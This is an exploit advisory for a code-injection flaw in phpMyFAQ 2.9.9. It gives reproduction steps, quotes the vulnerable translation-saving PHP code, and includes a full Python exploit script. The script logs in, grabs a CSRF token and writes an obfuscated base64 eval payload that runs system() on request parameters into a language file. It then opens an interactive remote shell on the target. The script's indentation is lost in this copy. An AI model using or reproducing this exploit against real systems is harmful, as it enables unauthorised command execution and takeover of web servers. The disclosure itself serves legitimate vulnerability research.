phpMyFAQ 2.9.9 Code Injection

# Exploit Title: [PHPMYFAQ 2.9.9 Code Injection]
# Google Dork: [NA]
# Date: [Nov 6 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [ http://www.phpmyfaq.de]
# Software Link: [http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip]
# Version: [2.9.9] 
# Tested on: [Ubuntu Server 16.04, PHP 7.0.22]
# CVE : [NA]


How to reproduce
1. login to administrative page (example http://vbox-ubuntu-server.me/phpmyfaq/admin/ ) as an admin or any user with right access to edit translation
2. open page configuration->interface translation (assume you use english language). fyi, edit translations only active if folder phpmyfaq/lang is writable, so make sure the folder is writable
3. choose indonesia (or another language) to edit
4. choose page 14 (in example)
5. choose variable LANG_CONF[main.metaDescription]
6. set phpinfo() as value
7. change your languge to indonesia


vulnerable code
on file admin/ajax.trans.php

    43    case 'save_page_buffer':
    44        /*
    45         * Build language variable definitions
    46         * @todo Change input handling using PMF_Filter
    47         */
    48        foreach ((array) @$_POST['PMF_LANG'] as $key => $val) {
    49            if (is_string($val)) {
    50                $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);
    51                $val = str_replace("'", "\\'", $val);
    52                $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key]"] = $val;
    53            } elseif (is_array($val)) {
    54                /*
    55                 * Here we deal with a two dimensional array
    56                 */
    57                foreach ($val as $key2 => $val2) {
    58                    $val2 = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val2);
    59                    $val2 = str_replace("'", "\\'", $val2);
    60                    $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key][$key2]"] = $val2;
    61                }
    62            }
    63        }
    64
    65        foreach ((array) @$_POST['LANG_CONF'] as $key => $val) {
    66            // if string like array(blah-blah-blah), extract the contents inside the brackets
    67            if (preg_match('/^\s*array\s*\(\s*(\d+.+)\s*\).*$/', $val, $matches1)) {
    68                // split the resulting string of delimiters such as "number =>"
    69                $valArr = preg_split(
    70                    '/\s*(\d+)\s*\=\>\s*/',
    71                    $matches1[1],
    72                    null,
    73                    PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY
    74                );
    75                $numVal = count($valArr);
    76                if ($numVal > 1) {
    77                    $newValArr = [];
    78                    for ($i = 0; $i < $numVal; $i += 2) {
    79                        if (is_numeric($valArr[$i])) {
    80                            // clearing quotes
    81                            if (preg_match('/^\s*\\\\*[\"|\'](.+)\\\\*[\"|\'][\s\,]*$/', $valArr[$i + 1], $matches2)) {
    82                                $subVal = $matches2[1];
    83                                // normalize quotes
    84                                $subVal = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $subVal);
    85                                $subVal = str_replace("'", "\\'", $subVal);
    86                                // assembly of the original substring back
    87                                $newValArr[] = $valArr[$i].' => \''.$subVal.'\'';
    88                            }
    89                        }
    90                    }
    91                    $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = 'array('.implode(', ', $newValArr).')';
    92                }
    93            } else {  // compatibility for old behavior
    94                $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);
    95                $val = str_replace("'", "\\'", $val);
    96                $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = $val;
    97            }
    98        }
    99
   100        echo 1;
   101    break;
   102    
   103    case 'save_translated_lang':
   104
   105        if (!$user->perm->checkRight($user->getUserId(), 'edittranslation')) {
   106            echo $PMF_LANG['err_NotAuth'];
   107            exit;
   108        }
   109
   110        $lang = strtolower($_SESSION['trans']['rightVarsOnly']['PMF_LANG[metaLanguage]']);
   111        $filename = PMF_ROOT_DIR.'/lang/language_'.$lang.'.php';
   112
   113        if (!is_writable(PMF_ROOT_DIR.'/lang')) {
   114            echo 0;
   115            exit;
   116        }
   117
   118        if (!copy($filename, PMF_ROOT_DIR.'/lang/language_'.$lang.'.bak.php')) {
   119            echo 0;
   120            exit;
   121        }
   122
   123        $newFileContents = '';
   124        $tmpLines = [];
   125
   126        // Read in the head of the file we're writing to
   127        $fh = fopen($filename, 'r');
   128        do {
   129            $line = fgets($fh);
   130            array_push($tmpLines, rtrim($line));
   131        } while ('*/' != substr(trim($line), -2));
   132        fclose($fh);
   133
   134        // Construct lines with variable definitions
   135        foreach ($_SESSION['trans']['rightVarsOnly'] as $key => $val) {
   136            if (0 === strpos($key, 'PMF_LANG')) {
   137                $val = "'$val'";
   138            }
   139            array_push($tmpLines, '$'.str_replace(array('[', ']'), array("['", "']"), $key)." = $val;");
   140        }
   141
   142        $newFileContents .= implode("\n", $tmpLines);
   143
   144        unset($_SESSION['trans']);
   145
   146        $retval = file_put_contents($filename, $newFileContents);
   147        echo intval($retval);
   148        break;




the exploit
-----------------------------------------------------------------


#! /usr/bin/python
import sys, requests, argparse, readline

def main(argv):
global url, user, password
parser = argparse.ArgumentParser(description='PHPMYFAQ 2.9.9 Code Injection exploitation tool. author : tomplixsee')
parser.add_argument('-u','--url', help='target url',required=True)
parser.add_argument('-p','--password', help='password',required=True)
parser.add_argument('-s','--user', help='user',required=True)
args = parser.parse_args()

url = args.url
user = args.user
password = args.password

if __name__ == "__main__":
main(sys.argv[1:])

#get the cookie
def login():
global url, user, password,cookie
print "\033[1;33m>>>>>> logging in\033[1;m"
data = {"faqusername":user,"faqpassword":password}
headers = {
}
r = requests.post(url+"/admin/index.php", headers=headers, data=data)
if "dashboard" in r.text:
print "\033[1;32m>>>>>> login sucessful\033[1;m"
cookie = r.cookies["PHPSESSID"]
check()
else:
print "login failed"
sys.exit()

#check if user has access to edit translations. 
#get the crsf token
def check():
global url,cookie, csrf
print "\033[1;33m>>>>>> check user auth\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
r = requests.get(url+"/admin/index.php?action=transedit&translang=id", headers=headers)
if ("You are not authorized." not in r.text) or ("ajaxaction=save_translated_lang&csrf" in r.text):
print "\033[1;32m>>>>>> authorized\033[1;m"
else:
print "not authorized"
sys.exit()
#get csrf token
str_csrf = r.text.split("action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=" )
csrf = str_csrf[1][0:40]
savebuffer()

#save payload to session
def savebuffer():
global url,cookie, csrf
print "\033[1;33m>>>>>> trying to fill the buffer\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {
"LANG_CONF[main.metaDescription]":'eval(base64_decode(\"c3lzdGVtKCRfUkVRVUVTVFtxXSk7IGlmKGlzc2V0KCRfUkVRVUVTVFttYXRpXSkpZGllOw==\"))'
}
r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_page_buffer&csrf="+csrf, headers=headers, data=data)
if r.text=="1":
print "\033[1;32m>>>>>> success\033[1;m"
write2file()
else:
sys.exit()

#write payload to file
def write2file():
global url,cookie, csrf
print "\033[1;33m>>>>>> write payload to server\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {}
r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf="+csrf, headers=headers, data=data)
if r.text!="":
print "\033[1;32m>>>>>> success\033[1;m"
print "\033[1;32m>>>>>> enjoy your shell\033[1;m"
exploit('')
else:
sys.exit()

#send system command
def exploit(command):
global url,cookie
command = raw_input('\033[1;31mshell > \033[1;m') 
if command == "exit":
print "goodbye"
sys.exit()

headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {"q":command,
"mati":"mati",
"language":"id"
}
r = requests.post(url+"/admin/index.php", headers=headers, data=data)
print r.text
exploit('')

login()

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